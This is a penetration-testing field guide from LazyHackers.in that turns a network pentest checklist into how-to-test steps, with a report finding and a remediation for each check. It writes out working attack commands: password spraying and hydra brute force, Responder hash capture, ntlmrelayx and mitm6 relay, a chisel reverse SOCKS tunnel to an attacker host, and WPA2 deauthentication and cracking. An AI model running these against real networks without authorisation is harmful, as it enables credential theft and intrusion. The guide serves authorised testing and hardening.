Network Pentest Checklist

The internal + external network checklist turned into a how-to-test field guide: scoping and recon, host discovery, port scanning, vulnerability identification, service-by-service checks (SMB, RDP, SSH, SNMP, DNS, SMTP, LDAP, databases), credential attacks, LLMNR/relay/MITM protocol attacks, exploitation, post-exploitation and pivoting, network devices, wireless and segmentation — each with the scenario, the real command (nmap, NetExec, Responder, hydra, testssl), the steps, the finding, and the

LazyHackers.in — Checklist

📡 Network Pentest Checklist

Internal + external, phase by phase: scenario · command · steps · the finding · the fix

☰   How to use this guide

A network pentest's real value isn't an open-port list — it's how far an attacker moves from one foothold: discovery → credential capture (Responder/relay) → lateral movement → segmentation break → critical asset. This guide turns every checklist line into how-to-test. External engagements prioritise exposed management interfaces, default creds and EOL services; internal engagements live in protocol attacks and segmentation.

AD domain-domination (Kerberoast/DCSync/BloodHound/Golden Ticket) is detailed in the Red Team checklist (§AD) — referenced here, not duplicated. Each section ends with a coverage table.
Confirm in-scope ranges and exclusions (RoE) before scanning. DoS only if explicitly authorised. Assess impact before testing anything that could destabilise production.
TARGETS=scope.txt        # in-scope hosts/ranges (RoE-confirmed)
# Fast sweep then deep scan the live set
nmap -sn -iL $TARGETS -oA hosts        # host discovery
nmap -p- --min-rate 2000 -iL live.txt -oA allports
nmap -sCV -p <openports> -iL live.txt -oA services

0   Scoping & recon

Confirm scope, then map the perimeter (external) or the network layout (internal).

# External: ASN -> netblocks, DNS, zone transfer attempt
amass intel -asn <ASN> ; dnsrecon -d target.tld -t axfr
dig AXFR target.tld @ns1.target.tld          # zone transfer (should fail)
# OSINT exposed hosts
shodan search "org:Target" --fields ip_str,port
⚑ Report as: “DNS zone transfer (AXFR) allowed”
🛡 Fix: Confirm and document scope/RoE; restrict zone transfers to authorised secondaries; minimise external exposure; review what OSINT reveals about the estate.

Scoping & recon — full coverage

Checklist itemHow to testReport as
In-scope ranges/exclusions (RoE)confirm with clientScope confirmed
External ASN/netblock enumerationamass intelExternal footprint mapped
DNS enumeration + AXFR attemptdnsrecon / dig AXFRDNS zone transfer allowed
Reverse DNS sweepnmap -sL / dnsx -ptrReverse-DNS mapping
OSINT via Shodan/Censysshodan searchExposed-host disclosure
Internal ranges/VLANs noteddocument layoutNetwork layout mapped
Testing position identifiednote external/LAN/VPNTest position established

1   Host discovery

Find live hosts — including those behind firewalls and IPv6 hosts that are often unfiltered.

nmap -sn 10.0.0.0/24                       # ICMP/ARP sweep (internal ARP is reliable)
nmap -PS21,22,80,443,445,3389 -sn -iL $TARGETS   # TCP ping to firewalled hosts
# IPv6 (often unfiltered on the LAN)
nmap -6 -sn fe80::/64 ; ping6 -c2 ff02::1%eth0
⚑ Report as: “Firewalled hosts discoverable / unfiltered IPv6 hosts present”
🛡 Fix: Filter ingress consistently across IPv4 and IPv6; don't rely on hosts being undiscoverable; segment so discovery from one zone doesn't reveal another.

Host discovery — full coverage

Checklist itemHow to testReport as
Live host discoverynmap -sn (ICMP/ARP)Host inventory
Firewalled-but-responsive hostsTCP SYN/ACK pingFirewalled host discovered
IPv6 hosts (unfiltered)nmap -6 / ff02::1Unfiltered IPv6 host
Broadcast/multicast hostsmulticast probesBroadcast host discovery

2   Port scanning & service enumeration

Scan all 65535 TCP ports (not just top-1000), key UDP ports, versions and OS — and note firewall behaviour.

nmap -p- --min-rate 2000 -T4 <host> -oA full
nmap -sU --top-ports 50 <host>             # UDP: 53,69,123,161,500,1900,...
nmap -sCV -O -p <open> <host>              # version + scripts + OS
⚑ Report as: “Unexpected/unauthorised service exposed / management interface reachable”
🛡 Fix: Expose only required services; keep management interfaces (IPMI/iDRAC/iLO, web mgmt) off untrusted networks; review filtered-vs-open to validate firewall rules.

Port scanning & enumeration — full coverage

Checklist itemHow to testReport as
Full TCP scan (all 65535)nmap -p-Full port inventory
UDP scan key portsnmap -sUUDP service exposure
Version detection/bannersnmap -sVService version inventory
OS fingerprintingnmap -OOS fingerprint
Filtered/open/closed mappedanalyse scanFirewall behaviour mapped
Unexpected services exposedreview servicesUnauthorised service exposed
Management interfaces exposedprobe IPMI/iLO/web mgmtManagement interface exposed

3   Vulnerability identification

Identify outdated/EOL services and known-exploitable vulns — and verify, don't trust scanner output.

nmap --script vuln -p <open> <host>
nuclei -l live.txt -t network/ -t http/cves/
# Verify the flagged ones manually (e.g. SMBv1/EternalBlue):
nmap --script smb-vuln-ms17-010 -p445 <host>
⚑ Report as: “Outdated/EOL service with known CVE (e.g. SMBv1 / EternalBlue)”
🛡 Fix: Patch/replace EOL services; remove default configs; verify and prioritise exploitable findings over raw scanner output; identify chainable low-sev paths.

Vulnerability identification — full coverage

Checklist itemHow to testReport as
Outdated/EOL services (CVE)nmap/nuclei + manualOutdated service
Missing patches on exposed servicesversion checkMissing patch
Default configurationsreview configDefault configuration
Known-exploitable servicestargeted nmap scriptsKnown-exploitable service
Verify (not just scanner)manual confirmationVerified vulnerability
Chainable low-sev pathsmap chainsExploitation chain identified

4   Service-specific checks

The bread and butter: per-service misconfigurations. SMB (null sessions, signing, shares), databases (no-auth Redis/Mongo), SNMP community strings, and more.

SMB — null sessions, signing & shares

# Enumerate + check signing + spider shares (NetExec / CrackMapExec)
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt     # SMB signing NOT required -> relayable
nxc smb <host> -u '' -p '' --shares                # null session + share access
enum4linux-ng -A <host>                             # users/groups/RID cycling
⚑ Report as: “SMB signing not required (NTLM relay) / anonymous share access”
🛡 Fix: Require SMB signing; disable SMBv1; remove null/guest access; lock down share ACLs; remove sensitive data from shares.

Databases & SNMP

redis-cli -h <host> ping                 # no-auth Redis -> full takeover/RCE via config
mongo --host <host> --eval 'db.adminCommand({listDatabases:1})'   # no-auth Mongo
snmpwalk -v2c -c public <host>           # default community -> device config/creds
⚑ Report as: “No-auth Redis/MongoDB / default SNMP community string”
🛡 Fix: Require auth on all databases and keep them off untrusted networks; encrypt DB traffic; change SNMP community strings, use SNMPv3, make it read-only.

Service-specific — full coverage

Checklist itemHow to testReport as
SMB: SMBv1 enablednmap smb-protocolsSMBv1 enabled
SMB: signing not requirednxc --gen-relay-listSMB signing not enforced
SMB: null/anonymous enumnxc -u '' -p ''Null-session enumeration
SMB: anonymous/guest sharenxc --sharesAnonymous share access
SMB: sensitive data on sharesspider sharesSensitive data on share
SMB: writable sharestest writeWritable share
SMB: RID cycling enumenum4linux-ngUser enumeration via RID
RDP: exposed externallynmap -p3389RDP exposed
RDP: NLA disablednmap rdp-ntlm-infoNLA disabled
RDP: weak/default credscareful bruteWeak RDP credentials
RDP: BlueKeep/CVEnmap rdp-vulnRDP known CVE
RDP: weak TLS/certtestssl on 3389Weak RDP TLS
SSH: weak/default credshydra (low-and-slow)Weak SSH credentials
SSH: password auth where key-only expectedcheck auth methodsPassword auth enabled
SSH: weak ciphers/KEX/MACssh-auditWeak SSH algorithms
SSH: outdated OpenSSHbanner/versionOutdated OpenSSH
SSH: user enumerationtiming/version probeSSH user enumeration
FTP: anonymous loginftp anonymousAnonymous FTP
FTP: cleartext credscaptureCleartext FTP
FTP: writable directorytest uploadWritable FTP directory
FTP: outdated daemonbannerOutdated FTP daemon
Telnet exposed (cleartext)nmap -p23Telnet enabled
Telnet default device credstry defaultsDefault device credentials
SNMP: default communitysnmpwalk -c publicDefault SNMP community
SNMP: v1/v2c (no encryption)check versionUnencrypted SNMP
SNMP: writable communitysnmpset testWritable SNMP community
SNMP: config/creds via walksnmpwalkInfo disclosure via SNMP
DNS: zone transfer (AXFR)dig AXFRZone transfer allowed
DNS: cache poisoning exposurereview resolverCache-poisoning exposure
DNS: open resolvertest recursionOpen resolver
DNS: dynamic update allowednsupdate testDynamic update allowed
SMTP: open relayswaks relay testOpen mail relay
SMTP: user enum (VRFY/EXPN/RCPT)smtp-user-enumSMTP user enumeration
SMTP: no TLS / STARTTLS stripcheck STARTTLSCleartext SMTP
SMTP: banner leaks internal infobanner grabSMTP info disclosure
LDAP: anonymous bindldapsearch -xAnonymous LDAP bind
LDAP: cleartext (no LDAPS)check port 389Cleartext LDAP
LDAP: info disclosureanonymous queryLDAP info disclosure
LDAP: signing/CB not enforcedcheck policyLDAP signing not enforced
DB: exposed to networknmap DB portsDatabase exposed
DB: default/weak/no credstry defaultsWeak DB credentials
Redis no-authredis-cli pingNo-auth Redis
Mongo/Elastic no-authconnectNo-auth datastore
MSSQL xp_cmdshell/linked-servermssqlclient.pyMSSQL command execution
Unencrypted DB trafficcaptureUnencrypted DB traffic
NFS world-readable/writableshowmount -eOpen NFS export
rsync no-auth modulersync listOpen rsync module
VNC no/weak authnmap vncWeak VNC auth
Kerberos roastable (88)see Red Team ADRoastable account
WinRM exposed (5985/5986)nmap -p5985WinRM exposed
RPC/135 endpoint mapper disclosurerpcdumpRPC info disclosure
Printers/IoT default credstry defaultsDefault device credentials
UPnP/SSDP exposed (1900)nmap -sU -p1900UPnP exposed
NTP monlist amplification (123)ntpq -c monlistNTP amplification
IPMI 2.0 cipher-zero/hash disclosurenmap ipmi scriptsIPMI weakness

5   Credentials & brute force

Default creds, weak passwords (targeted, low-and-slow to avoid lockout), spraying, reused breach creds, and creds lying in configs/shares/SNMP.

# Password spray across SMB (one password, many users, avoid lockout)
nxc smb <dc> -u users.txt -p 'Spring2024!' --continue-on-success
# Targeted service brute (low-and-slow)
hydra -L users.txt -P small.txt ssh://<host> -t 4 -W 5
⚑ Report as: “Password spraying succeeds / default credentials on service”
🛡 Fix: Strong unique passwords + lockout policy; ban common/breached passwords; MFA where possible; remove cleartext creds from configs/shares; encrypt protocols so creds aren't sniffable.

Credentials & brute force — full coverage

Checklist itemHow to testReport as
Default credentialstry vendor defaultsDefault credentials
Weak passwords (targeted)low-and-slow bruteWeak password
Password spraynxc sprayPassword spraying
Reused breach credentialsreplay combosReused breached credential
Creds in configs/shares/SNMP/bannersgrep lootCredential disclosure
No account lockout policyobserve brute behaviourNo lockout policy
Cleartext creds sniffablecaptureSniffable credentials

6   Network protocol & MITM attacks (internal)

Internal/on-LAN only. The bread-and-butter internal win: poison name resolution to capture hashes, then relay them.

# Capture NetNTLM hashes via LLMNR/NBT-NS/mDNS poisoning
responder -I eth0 -wd
# Relay to a host without SMB signing (after disabling Responder SMB/HTTP)
ntlmrelayx.py -tf relay.txt -smb2support -i
# IPv6 takeover (mitm6 -> DHCPv6 -> relay to LDAP)
mitm6 -d target.local & ntlmrelayx.py -6 -t ldaps://<dc> --delegate-access
⚑ Report as: “LLMNR/NBT-NS poisoning yields NetNTLM hashes / NTLM relay (signing not enforced)”
🛡 Fix: Disable LLMNR/NBT-NS/mDNS; require SMB and LDAP signing + channel binding; disable WPAD; segment to limit broadcast domains; disable IPv6 if unused or configure DHCPv6 guard; enable DAI/port security against ARP/STP/DTP abuse.

Protocol & MITM attacks (internal) — full coverage

Checklist itemHow to testReport as
LLMNR/NBT-NS/mDNS poisoningresponderName-resolution poisoning
NTLM relay (signing off)ntlmrelayxNTLM relay
WPAD abuseresponder -wWPAD abuse
ARP spoofing / MITMettercap/bettercapARP spoofing
IPv6 attacks (mitm6)mitm6 + relayIPv6 DHCP takeover
DHCP starvation / rogue DHCPdhcpstarv/yersiniaRogue DHCP
STP manipulationyersinia stpSTP manipulation
VLAN hoppingyersinia / froggerVLAN hopping
DNS spoofing on segmentbettercap dns.spoofDNS spoofing
DTP/trunk negotiation abuseyersinia dtpTrunk negotiation abuse
HSRP/VRRP/GLBP hijackyersinia hsrpFHRP hijack
Sniffing cleartext protocolstcpdump/wiresharkCleartext protocol sniffing

7   Exploitation

Verify confirmed vulns with controlled PoCs; capture proof; avoid destabilising production.

⚑ Report as: “Verified exploitation of <service> (controlled PoC)”
🛡 Fix: Patch the exploited vuln; restrict access to the service; for appliances apply vendor fixes and remove management exposure.

Exploitation — full coverage

Checklist itemHow to testReport as
Verified exploitationcontrolled PoCConfirmed exploitation
RCE on exposed vulnerable servicetargeted exploitRemote code execution
Auth bypass on appliance/mgmttest bypassManagement auth bypass
DoS (only if in RoE)authorised testDenial of service
Capture proofscreenshot/outputEvidence captured
Avoid destabilising prodimpact-assess firstImpact assessed

8   Post-exploitation & pivoting

From a foothold: escalate, harvest creds, discover the internal network, and pivot — the part that proves real blast radius. Privesc/cred-harvest/lateral detail lives in the Red Team checklist.

# Pivot a SOCKS proxy through the foothold, then scan deeper segments
# (e.g. via an SSH tunnel or C2). Example with chisel:
chisel server -p 8000 --reverse        # attacker
chisel client <atk>:8000 R:socks       # foothold
proxychains nmap -sT -Pn <deeper-subnet>
⚑ Report as: “Segmentation weakness — foothold reaches a restricted segment”
🛡 Fix: Segment networks so a single foothold can't reach sensitive zones; restrict lateral SMB/WinRM/RDP; monitor east-west traffic; least-privilege local accounts to limit cred-harvest value.

Post-exploitation & pivoting — full coverage

Checklist itemHow to testReport as
Local privilege escalationsee Red Team §6Local privilege escalation
Credential harvest from hostsee Red Team §8Credential harvest
Internal network discoveryenum from footholdInternal discovery
Pivot/proxy into deeper segmentsSOCKS/port-forwardNetwork pivot
Reach previously-unreachable segmentstest segmentationSegmentation break
Lateral movement (PtH/PtT/PsExec)see Red Team §10Lateral movement
Document reachable blast radiusmap reachBlast radius documented

9   Network devices / infrastructure

Routers, switches, firewalls and load balancers: exposed management, default creds, cleartext mgmt protocols and outdated firmware.

⚑ Report as: “Network device management exposed with default credentials”
🛡 Fix: Segment the management plane; change default creds; disable Telnet/HTTP mgmt (use SSH/HTTPS); SNMPv3 only; patch firmware; tighten overly permissive (any-any) firewall rules; enable routing-protocol authentication.

Network devices / infrastructure — full coverage

Checklist itemHow to testReport as
Router/switch/firewall mgmt exposedprobe mgmtManagement plane exposed
Default device credentialstry defaultsDefault credentials
Telnet/HTTP mgmt (cleartext)check protocolsCleartext management
SNMP default community on devicessnmpwalkDefault SNMP community
Outdated firmware (CVE)version checkOutdated firmware
Weak SSH/TLS on mgmtssh-audit/testsslWeak management crypto
Config disclosure (TFTP/SNMP/backup)fetch configConfig disclosure
Overly permissive ruleset (any-any)review rulesPermissive firewall rule
No mgmt-plane segmentationreview topologyFlat management plane
Routing protocol auth missingreview OSPF/BGP/EIGRPRouting auth missing
LB/VPN concentrator known CVEversion checkEdge device CVE

10   Wireless

If in scope: weak encryption, handshake capture/cracking, WPS, evil twin, enterprise EAP, and guest/corp isolation.

airmon-ng start wlan0 ; airodump-ng wlan0mon          # survey
airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon      # capture WPA2 handshake
aireplay-ng -0 5 -a <AP> -c <client> wlan0mon         # deauth to force handshake
hashcat -m 22000 cap.hc22000 rockyou.txt              # offline crack
⚑ Report as: “Weak WPA2-PSK passphrase cracked from captured handshake”
🛡 Fix: Strong WPA2/WPA3 passphrases or 802.1X with proper cert validation; disable WPS; enable management-frame protection (802.11w); isolate guest from corporate; detect rogue APs.

Wireless — full coverage

Checklist itemHow to testReport as
Open/WEP/weak WPA2-PSKairodump surveyWeak wireless encryption
WPA2 handshake → offline crackcapture + hashcatCrackable WPA2 passphrase
WPA3 downgrade/Dragonblooddowngrade testWPA3 downgrade
WPS PIN brute forcereaver/bullyWPS PIN brute force
Evil twin / rogue APhostapd-wpeEvil-twin credential capture
Enterprise EAP relay / cert bypasseaphammerEAP credential relay
Guest↔corporate isolation brokentest reach from guestGuest-network isolation break
PSK reuse / weak passphrasecrack & compareWeak/reused PSK
Management-frame protection missingdeauth testNo 802.11w
Hidden SSID / rogue device discoverysurveyRogue device

11   Segmentation & egress testing

Prove (or break) zone isolation: can user reach server/management/PCI/OT zones, and can data leave (egress)?

# From each zone, test reachability to others + egress
nmap -Pn -p 22,445,3389,1433 <other-zone-host>
# Egress: can arbitrary ports leave?
for p in 53 80 443 4444 8080; do nc -zvw2 <external-ip> $p; done
⚑ Report as: “Network segmentation failure (user zone reaches server/PCI zone) / no egress filtering”
🛡 Fix: Enforce least-privilege segmentation between user/server/DMZ/PCI/OT zones; default-deny egress with an allowlist; block covert tunneling channels; isolate guest networks from internal resources.

Segmentation & egress — full coverage

Checklist itemHow to testReport as
Flat network (no segmentation)cross-zone reachabilityNo segmentation
DMZ → internal reachableprobe internal from DMZDMZ-to-internal access
User VLAN → server/mgmt VLANprobe from user VLANCross-VLAN access
PCI/sensitive zone not isolatedprobe PCI zonePCI isolation failure
OT/ICS reachable from ITprobe OT (carefully)IT-to-OT reachability
Egress filtering absenttest outbound portsNo egress filtering
DNS/ICMP/HTTPS tunneling possibleiodine/dnscat2 testCovert tunneling possible
Guest reaches internalprobe from guestGuest-to-internal access

✓   Coverage map & how to run it

Match the work to the engagement type: external focuses on the perimeter, internal on protocol attacks + lateral + segmentation.

Engagement typeSectionsFocus
External§0–5, §9Perimeter exposure, exposed services, edge devices, default creds, EOL
Internal§4–8, §6, §11Service misconfig, Responder/relay, lateral, segmentation
Wireless§10 + segmentationEncryption, handshake crack, evil twin, isolation
Segmentation audit§11Prove zone isolation (or break it)
Device/infra review§9Config, firmware, management plane

Core principle: the story is discovery → credential capture (Responder/relay) → lateral movement → segmentation break → critical asset — not a flat list of open ports and CVEs. Tie every finding to blast radius and segmentation impact, and reference the Red Team checklist for the AD domain-domination chain. Tick a box only when you've actually run the test.

Reactions

Related Articles